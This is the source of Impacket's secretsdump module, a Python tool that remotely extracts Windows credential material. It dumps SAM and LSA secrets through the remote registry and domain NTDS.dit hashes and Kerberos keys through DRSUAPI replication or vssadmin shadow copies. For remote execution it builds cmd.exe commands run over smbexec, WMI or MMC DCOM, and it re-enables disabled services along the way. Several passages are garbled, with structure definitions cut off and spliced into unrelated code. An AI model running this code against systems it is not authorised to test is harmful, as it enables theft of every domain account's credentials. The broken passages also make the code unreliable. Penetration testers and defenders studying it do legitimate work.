# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: Performs various techniques to dump hashes from the # remote machine without executing any agent there. # For SAM and LSA Secrets (including cached creds) # we try to read as much as we can from the registry # and then we save the hives in the target system # (%SYSTEMROOT%\\Temp dir) and read the rest of the # data from there. # For NTDS.dit we either: # a. Get the domain users list and get its hashes # and Kerberos keys using [MS-DRDS] DRSGetNCChanges() # call, replicating just the attributes we need. # b. Extract NTDS.dit via vssadmin executed with the # smbexec approach. # It's copied on the temp dir and parsed remotely. # # The script initiates the services required for its working # if they are not available (e.g. Remote Registry, even if it is # disabled). After the work is done, things are restored to the # original state. # # Author: # Alberto Solino (@agsolino) # # References: Most of the work done by these guys. I just put all # the pieces together, plus some extra magic. # # https://github.com/gentilkiwi/kekeo/tree/master/dcsync # https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html # https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html # https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html # https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13 # https://code.google.com/p/creddump/ # https://lab.mediaservice.net/code/cachedump.rb # https://insecurety.net/?p=768 # http://www.beginningtoseethelight.org/ntsecurity/index.htm # https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf # https://www.passcape.com/index.php?section=blog&cmd=details&id=15 # from __future__ import division from __future__ import print_function import codecs import hashlib import logging import ntpath import os import random import string import time from binascii import unhexlify, hexlify from collections import OrderedDict from datetime import datetime from struct import unpack, pack from six import b, PY2 from impacket import LOG from impacket import system_errors from impacket import winregistry, ntlm from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \ VARIANT, VARENUM, DISPATCH_METHOD from impacket.dcerpc.v5.dcomrt import DCOMConnection, OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \ OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \ IRemUnknown2, INTERFACE from impacket.ese import ESENT_DB from impacket.dpapi import DPAPI_SYSTEM from impacket.smb3structs import FILE_READ_DATA, FILE_SHARE_READ from impacket.nt_errors import STATUS_MORE_ENTRIES from impacket.structure import Structure from impacket.structure import hexdump from impacket.uuid import string_to_bin from impacket.crypto import transformKey from impacket.krb5 import constants from impacket.krb5.crypto import string_to_key try: from Cryptodome.Cipher import DES, ARC4, AES from Cryptodome.Hash import HMAC, MD4 except ImportError: LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex") LOG.critical("See https://pypi.org/project/pycryptodomex/") LOG.level = logging.ERROR # Structures # Taken from https://insecurety.net/?p=768 class SAM_KEY_DATA(Structure): structure = ( ('Revision','L',self['SubAuthority'][i*4:i*4+4])[0]) return ans class LSA_SECRET_BLOB(Structure): structure = ( ('Length','=0: if tries >= 3: raise e # Stuff didn't finish yet.. wait more time.sleep(5) tries += 1 pass else: raise e else: break def seek(self, offset, whence): # Implement whence, for now it's always from the beginning of the file if whence == 0: self.__currentOffset = offset def read(self, bytesToRead): if bytesToRead > 0: data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead) self.__currentOffset += len(data) return data return b'' def close(self): if self.__fid is not None: self.__smbConnection.closeFile(self.__tid, self.__fid) self.__smbConnection.deleteFile('ADMIN$', self.__fileName) self.__fid = None def tell(self): return self.__currentOffset def __str__(self): return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName) class RemoteOperations: def __init__(self, smbConnection, doKerberos, kdcHost=None): self.__smbConnection = smbConnection if self.__smbConnection is not None: self.__smbConnection.setTimeout(5*60) self.__serviceName = 'RemoteRegistry' self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]' self.__rrp = None self.__regHandle = None self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]' self.__samr = None self.__domainHandle = None self.__domainName = None self.__drsr = None self.__hDrs = None self.__NtdsDsaObjectGuid = None self.__ppartialAttrSet = None self.__prefixTable = [] self.__doKerberos = doKerberos self.__kdcHost = kdcHost self.__bootKey = b'' self.__disabled = False self.__shouldStop = False self.__started = False self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]' self.__scmr = None self.__tmpServiceName = None self.__serviceDeleted = False self.__batchFile = '%TEMP%\\execute.bat' self.__shell = '%COMSPEC% /Q /c ' self.__output = '%SYSTEMROOT%\\Temp\\__output' self.__answerTMP = b'' self.__execMethod = 'smbexec' def setExecMethod(self, method): self.__execMethod = method def __connectSvcCtl(self): rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl) rpc.set_smb_connection(self.__smbConnection) self.__scmr = rpc.get_dce_rpc() self.__scmr.connect() self.__scmr.bind(scmr.MSRPC_UUID_SCMR) def __connectWinReg(self): rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg) rpc.set_smb_connection(self.__smbConnection) self.__rrp = rpc.get_dce_rpc() self.__rrp.connect() self.__rrp.bind(rrp.MSRPC_UUID_RRP) def connectSamr(self, domain): rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr) rpc.set_smb_connection(self.__smbConnection) self.__samr = rpc.get_dce_rpc() self.__samr.connect() self.__samr.bind(samr.MSRPC_UUID_SAMR) resp = samr.hSamrConnect(self.__samr) serverHandle = resp['ServerHandle'] resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain) resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId']) self.__domainHandle = resp['DomainHandle'] self.__domainName = domain def __connectDrds(self): stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI, protocol='ncacn_ip_tcp') rpc = transport.DCERPCTransportFactory(stringBinding) rpc.setRemoteHost(self.__smbConnection.getRemoteHost()) rpc.setRemoteName(self.__smbConnection.getRemoteName()) if hasattr(rpc, 'set_credentials'): # This method exists only for selected protocol sequences. rpc.set_credentials(*(self.__smbConnection.getCredentials())) rpc.set_kerberos(self.__doKerberos, self.__kdcHost) self.__drsr = rpc.get_dce_rpc() self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) if self.__doKerberos: self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) self.__drsr.connect() # Uncomment these lines if you want to play some tricks # This will make the dump way slower tho. #self.__drsr.bind(samr.MSRPC_UUID_SAMR) #self.__drsr = self.__drsr.alter_ctx(drsuapi.MSRPC_UUID_DRSUAPI) #self.__drsr.set_max_fragment_size(1) # And Comment this line self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI) if self.__domainName is None: # Get domain name from credentials cached self.__domainName = rpc.get_credentials()[2] request = drsuapi.DRSBind() request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID drs = drsuapi.DRS_EXTENSIONS_INT() drs['cb'] = len(drs) #- 4 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \ drsuapi.DRS_EXT_STRONG_ENCRYPTION drs['SiteObjGuid'] = drsuapi.NULLGUID drs['Pid'] = 0 drs['dwReplEpoch'] = 0 drs['dwFlagsExt'] = 0 drs['ConfigObjGUID'] = drsuapi.NULLGUID # I'm uber potential (c) Ben drs['dwExtCaps'] = 0xffffffff request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(drs.getData()) resp = self.__drsr.request(request) if LOG.level == logging.DEBUG: LOG.debug('DRSBind() answer') resp.dump() # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data. drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT() # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right. ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * ( len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb']) drsExtensionsInt.fromString(ppextServer) if drsExtensionsInt['dwReplEpoch'] != 0: # Different epoch, we have to call DRSBind again if LOG.level == logging.DEBUG: LOG.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[ 'dwReplEpoch']) drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch'] request['pextClient']['cb'] = len(drs) request['pextClient']['rgb'] = list(drs.getData()) resp = self.__drsr.request(request) self.__hDrs = resp['phDrs'] # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2) if LOG.level == logging.DEBUG: LOG.debug('DRSDomainControllerInfo() answer') resp.dump() if resp['pmsgOut']['V2']['cItems'] > 0: self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] else: LOG.error("Couldn't get DC info for domain %s" % self.__domainName) raise Exception('Fatal, aborting') def getDrsr(self): return self.__drsr def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME, formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''): if self.__drsr is None: self.__connectDrds() LOG.debug('Calling DRSCrackNames for %s ' % name) resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,)) return resp def DRSGetNCChanges(self, userEntry): if self.__drsr is None: self.__connectDrds() LOG.debug('Calling DRSGetNCChanges for %s ' % userEntry) request = drsuapi.DRSGetNCChanges() request['hDrs'] = self.__hDrs request['dwInVersion'] = 8 request['pmsgIn']['tag'] = 8 request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid dsName = drsuapi.DSNAME() dsName['SidLen'] = 0 dsName['Guid'] = string_to_bin(userEntry[1:-1]) dsName['Sid'] = '' dsName['NameLen'] = 0 dsName['StringName'] = ('\x00') dsName['structLen'] = len(dsName.getData()) request['pmsgIn']['V8']['pNC'] = dsName request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0 request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0 request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP request['pmsgIn']['V8']['cMaxObjects'] = 1 request['pmsgIn']['V8']['cMaxBytes'] = 0 request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ if self.__ppartialAttrSet is None: self.__prefixTable = [] self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT() self.__ppartialAttrSet['dwVersion'] = 1 self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID) for attId in list(NTDSHashes.ATTRTYP_TO_ATTID.values()): self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId)) request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable) request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL return self.__drsr.request(request) def getDomainUsers(self, enumerationContext=0): if self.__samr is None: self.connectSamr(self.getMachineNameAndDomain()[1]) try: resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle, userAccountControl=samr.USER_NORMAL_ACCOUNT | \ samr.USER_WORKSTATION_TRUST_ACCOUNT | \ samr.USER_SERVER_TRUST_ACCOUNT |\ samr.USER_INTERDOMAIN_TRUST_ACCOUNT, enumerationContext=enumerationContext) except DCERPCException as e: if str(e).find('STATUS_MORE_ENTRIES') < 0: raise resp = e.get_packet() return resp def ridToSid(self, rid): if self.__samr is None: self.connectSamr(self.getMachineNameAndDomain()[1]) resp = samr.hSamrRidToSid(self.__samr, self.__domainHandle , rid) return resp['Sid'] def getMachineKerberosSalt(self): """ Returns Kerberos salt for the current connection if we have the correct information """ if self.__smbConnection.getServerName() == '': # Todo: figure out an RPC call that gives us the domain FQDN # instead of the NETBIOS name as NetrWkstaGetInfo does return b'' else: host = self.__smbConnection.getServerName() domain = self.__smbConnection.getServerDNSDomainName() salt = b'%shost%s.%s' % (domain.upper().encode('utf-8'), host.lower().encode('utf-8'), domain.lower().encode('utf-8')) return salt def getMachineNameAndDomain(self): if self.__smbConnection.getServerName() == '': # No serverName.. this is either because we're doing Kerberos # or not receiving that data during the login process. # Let's try getting it through RPC rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]') rpc.set_smb_connection(self.__smbConnection) dce = rpc.get_dce_rpc() dce.connect() dce.bind(wkst.MSRPC_UUID_WKST) resp = wkst.hNetrWkstaGetInfo(dce, 100) dce.disconnect() return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][ 'wki100_langroup'][:-1] else: return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain() def getDefaultLoginAccount(self): try: ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon') keyHandle = ans['phkResult'] dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName') username = dataValue[:-1] dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName') domain = dataValue[:-1] rrp.hBaseRegCloseKey(self.__rrp, keyHandle) if len(domain) > 0: return '%s\\%s' % (domain,username) else: return username except: return None def getServiceAccount(self, serviceName): try: # Open the service ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName) serviceHandle = ans['lpServiceHandle'] resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle) account = resp['lpServiceConfig']['lpServiceStartName'][:-1] scmr.hRCloseServiceHandle(self.__scmr, serviceHandle) if account.startswith('.\\'): account = account[2:] return account except Exception as e: # Don't log if history service is not found, that should be normal if serviceName.endswith("_history") is False: LOG.error(e) return None def __checkServiceStatus(self): # Open SC Manager ans = scmr.hROpenSCManagerW(self.__scmr) self.__scManagerHandle = ans['lpScHandle'] # Now let's open the service ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName) self.__serviceHandle = ans['lpServiceHandle'] # Let's check its status ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle) if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED: LOG.info('Service %s is in stopped state'% self.__serviceName) self.__shouldStop = True self.__started = False elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING: LOG.debug('Service %s is already running'% self.__serviceName) self.__shouldStop = False self.__started = True else: raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState']) # Let's check its configuration if service is stopped, maybe it's disabled :s if self.__started is False: ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle) if ans['lpServiceConfig']['dwStartType'] == 0x4: LOG.info('Service %s is disabled, enabling it'% self.__serviceName) self.__disabled = True scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3) LOG.info('Starting service %s' % self.__serviceName) scmr.hRStartServiceW(self.__scmr,self.__serviceHandle) time.sleep(1) def enableRegistry(self): self.__connectSvcCtl() self.__checkServiceStatus() self.__connectWinReg() def __restore(self): # First of all stop the service if it was originally stopped if self.__shouldStop is True: LOG.info('Stopping service %s' % self.__serviceName) scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP) if self.__disabled is True: LOG.info('Restoring the disabled state for service %s' % self.__serviceName) scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4) if self.__serviceDeleted is False: # Check again the service we created does not exist, starting a new connection # Why?.. Hitting CTRL+C might break the whole existing DCE connection try: rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost()) if hasattr(rpc, 'set_credentials'): # This method exists only for selected protocol sequences. rpc.set_credentials(*self.__smbConnection.getCredentials()) rpc.set_kerberos(self.__doKerberos, self.__kdcHost) self.__scmr = rpc.get_dce_rpc() self.__scmr.connect() self.__scmr.bind(scmr.MSRPC_UUID_SCMR) # Open SC Manager ans = scmr.hROpenSCManagerW(self.__scmr) self.__scManagerHandle = ans['lpScHandle'] # Now let's open the service resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName) service = resp['lpServiceHandle'] scmr.hRDeleteService(self.__scmr, service) scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) scmr.hRCloseServiceHandle(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle) scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle) rpc.disconnect() except Exception as e: # If service is stopped it'll trigger an exception # If service does not exist it'll trigger an exception # So. we just wanna be sure we delete it, no need to # show this exception message pass def finish(self): self.__restore() if self.__rrp is not None: self.__rrp.disconnect() if self.__drsr is not None: self.__drsr.disconnect() if self.__samr is not None: self.__samr.disconnect() if self.__scmr is not None: try: self.__scmr.disconnect() except Exception as e: if str(e).find('STATUS_INVALID_PARAMETER') >=0: pass else: raise def getBootKey(self): bootKey = b'' ans = rrp.hOpenLocalMachine(self.__rrp) self.__regHandle = ans['phKey'] for key in ['JD','Skew1','GBG','Data']: LOG.debug('Retrieving class info for %s'% key) ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key) keyHandle = ans['phkResult'] ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle) bootKey = bootKey + b(ans['lpClassOut'][:-1]) rrp.hBaseRegCloseKey(self.__rrp, keyHandle) transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] bootKey = unhexlify(bootKey) for i in range(len(bootKey)): self.__bootKey += bootKey[transforms[i]:transforms[i]+1] LOG.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey).decode('utf-8')) return self.__bootKey def checkNoLMHashPolicy(self): LOG.debug('Checking NoLMHash Policy') ans = rrp.hOpenLocalMachine(self.__rrp) self.__regHandle = ans['phKey'] ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa') keyHandle = ans['phkResult'] try: dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash') except: noLMHash = 0 if noLMHash != 1: LOG.debug('LMHashes are being stored') return False LOG.debug('LMHashes are NOT being stored') return True def __retrieveHive(self, hiveName): tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp' ans = rrp.hOpenLocalMachine(self.__rrp) regHandle = ans['phKey'] try: ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName) except: raise Exception("Can't open %s hive" % hiveName) keyHandle = ans['phkResult'] rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName) rrp.hBaseRegCloseKey(self.__rrp, keyHandle) rrp.hBaseRegCloseKey(self.__rrp, regHandle) # Now let's open the remote file, so it can be read later remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName) return remoteFileName def saveSAM(self): LOG.debug('Saving remote SAM database') return self.__retrieveHive('SAM') def saveSECURITY(self): LOG.debug('Saving remote SECURITY database') return self.__retrieveHive('SECURITY') def __smbExec(self, command): self.__serviceDeleted = False resp = scmr.hRCreateServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName, self.__tmpServiceName, lpBinaryPathName=command) service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(self.__scmr, service) except: pass scmr.hRDeleteService(self.__scmr, service) self.__serviceDeleted = True scmr.hRCloseServiceHandle(self.__scmr, service) def __getInterface(self, interface, resp): # Now let's parse the answer and build an Interface instance objRefType = OBJREF(b''.join(resp))['flags'] objRef = None if objRefType == FLAGS_OBJREF_CUSTOM: objRef = OBJREF_CUSTOM(b''.join(resp)) elif objRefType == FLAGS_OBJREF_HANDLER: objRef = OBJREF_HANDLER(b''.join(resp)) elif objRefType == FLAGS_OBJREF_STANDARD: objRef = OBJREF_STANDARD(b''.join(resp)) elif objRefType == FLAGS_OBJREF_EXTENDED: objRef = OBJREF_EXTENDED(b''.join(resp)) else: logging.error("Unknown OBJREF Type! 0x%x" % objRefType) return IRemUnknown2( INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'], oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'], target=interface.get_target())) def __mmcExec(self,command): command = command.replace('%COMSPEC%', 'c:\\windows\\system32\\cmd.exe') username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials() dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey, oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document',)) dispParams = DISPPARAMS(None, False) dispParams['rgvarg'] = NULL dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 0 dispParams['cNamedArgs'] = 0 resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iDocument = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) resp = iDocument.GetIDsOfNames(('ActiveView',)) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch(self.__getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0] pQuit = iMMC.GetIDsOfNames(('Quit',))[0] dispParams = DISPPARAMS(None, False) dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 4 dispParams['cNamedArgs'] = 0 arg0 = VARIANT(None, False) arg0['clSize'] = 5 arg0['vt'] = VARENUM.VT_BSTR arg0['_varUnion']['tag'] = VARENUM.VT_BSTR arg0['_varUnion']['bstrVal']['asData'] = 'c:\\windows\\system32\\cmd.exe' arg1 = VARIANT(None, False) arg1['clSize'] = 5 arg1['vt'] = VARENUM.VT_BSTR arg1['_varUnion']['tag'] = VARENUM.VT_BSTR arg1['_varUnion']['bstrVal']['asData'] = 'c:\\' arg2 = VARIANT(None, False) arg2['clSize'] = 5 arg2['vt'] = VARENUM.VT_BSTR arg2['_varUnion']['tag'] = VARENUM.VT_BSTR arg2['_varUnion']['bstrVal']['asData'] = command[len('c:\\windows\\system32\\cmd.exe'):] arg3 = VARIANT(None, False) arg3['clSize'] = 5 arg3['vt'] = VARENUM.VT_BSTR arg3['_varUnion']['tag'] = VARENUM.VT_BSTR arg3['_varUnion']['bstrVal']['asData'] = '7' dispParams['rgvarg'].append(arg3) dispParams['rgvarg'].append(arg2) dispParams['rgvarg'].append(arg1) dispParams['rgvarg'].append(arg0) iActiveView.Invoke(pExecuteShellCommand, 0x409, DISPATCH_METHOD, dispParams, 0, [], []) dispParams = DISPPARAMS(None, False) dispParams['rgvarg'] = NULL dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 0 dispParams['cNamedArgs'] = 0 iMMC.Invoke(pQuit, 0x409, DISPATCH_METHOD, dispParams, 0, [], []) def __wmiExec(self, command): # Convert command to wmi exec friendly format command = command.replace('%COMSPEC%', 'cmd.exe') username, password, domain, lmhash, nthash, aesKey, _, _ = self.__smbConnection.getCredentials() dcom = DCOMConnection(self.__smbConnection.getRemoteHost(), username, password, domain, lmhash, nthash, aesKey, oxidResolver=False, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') win32Process.Create(command, '\\', None) dcom.disconnect() def __executeRemote(self, data): self.__tmpServiceName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \ self.__shell + self.__batchFile command += ' & ' + 'del ' + self.__batchFile LOG.debug('ExecuteRemote command: %s' % command) if self.__execMethod == 'smbexec': self.__smbExec(command) elif self.__execMethod == 'wmiexec': self.__wmiExec(command) elif self.__execMethod == 'mmcexec': self.__mmcExec(command) else: raise Exception('Invalid exec method %s, aborting' % self.__execMethod) def __answer(self, data): self.__answerTMP += data def __getLastVSS(self): self.__executeRemote('%COMSPEC% /C vssadmin list shadows') time.sleep(5) tries = 0 while True: try: self.__smbConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) break except Exception as e: if tries > 30: # We give up raise Exception('Too many tries trying to list vss shadows') if str(e).find('SHARING') > 0: # Stuff didn't finish yet.. wait more time.sleep(5) tries +=1 pass else: raise lines = self.__answerTMP.split(b'\n') lastShadow = b'' lastShadowFor = b'' # Let's find the last one # The string used to search the shadow for drive. Wondering what happens # in other languages SHADOWFOR = b'Volume: (' for line in lines: if line.find(b'GLOBALROOT') > 0: lastShadow = line[line.find(b'\\\\?'):][:-1] elif line.find(SHADOWFOR) > 0: lastShadowFor = line[line.find(SHADOWFOR)+len(SHADOWFOR):][:2] self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output') return lastShadow.decode('utf-8'), lastShadowFor.decode('utf-8') def saveNTDS(self): LOG.info('Searching for NTDS.dit') # First of all, let's try to read the target NTDS.dit registry entry ans = rrp.hOpenLocalMachine(self.__rrp) regHandle = ans['phKey'] try: ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters') keyHandle = ans['phkResult'] except: # Can't open the registry path, assuming no NTDS on the other end return None try: dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DSA Database file') ntdsLocation = dataValue[:-1] ntdsDrive = ntdsLocation[:2] except: # Can't open the registry path, assuming no NTDS on the other end return None rrp.hBaseRegCloseKey(self.__rrp, keyHandle) rrp.hBaseRegCloseKey(self.__rrp, regHandle) LOG.info('Registry says NTDS.dit is at %s. Calling vssadmin to get a copy. This might take some time' % ntdsLocation) LOG.info('Using %s method for remote execution' % self.__execMethod) # Get the list of remote shadows shadow, shadowFor = self.__getLastVSS() if shadow == '' or (shadow != '' and shadowFor != ntdsDrive): # No shadow, create one self.__executeRemote('%%COMSPEC%% /C vssadmin create shadow /For=%s' % ntdsDrive) shadow, shadowFor = self.__getLastVSS() shouldRemove = True if shadow == '': raise Exception('Could not get a VSS') else: shouldRemove = False # Now copy the ntds.dit to the temp directory tmpFileName = ''.join([random.choice(string.ascii_letters) for _ in range(8)]) + '.tmp' self.__executeRemote('%%COMSPEC%% /C copy %s%s %%SYSTEMROOT%%\\Temp\\%s' % (shadow, ntdsLocation[2:], tmpFileName)) if shouldRemove is True: self.__executeRemote('%%COMSPEC%% /C vssadmin delete shadows /For=%s /Quiet' % ntdsDrive) tries = 0 while True: try: self.__smbConnection.deleteFile('ADMIN$', 'Temp\\__output') break except Exception as e: if tries >= 30: raise e if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0 or str(e).find('STATUS_SHARING_VIOLATION') >=0: tries += 1 time.sleep(5) pass else: logging.error('Cannot delete target file \\\\%s\\ADMIN$\\Temp\\__output: %s' % (self.__smbConnection.getRemoteHost(), str(e))) pass remoteFileName = RemoteFile(self.__smbConnection, 'Temp\\%s' % tmpFileName) return remoteFileName class CryptoCommon: # Common crypto stuff used over different classes def deriveKey(self, baseKey): # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key # Let I be the little-endian, unsigned integer. # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes. # Note that because I is in little-endian byte order, I[0] is the least significant byte. # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2]. # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1] key = pack('= 20: lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD, newStyle) else: lmHash = b'' if encNTHash != b'': ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD, newStyle) else: ntHash = b'' if lmHash == b'': lmHash = ntlm.LMOWFv1('','') if ntHash == b'': ntHash = ntlm.NTOWFv1('','') answer = "%s:%d:%s:%s:::" % 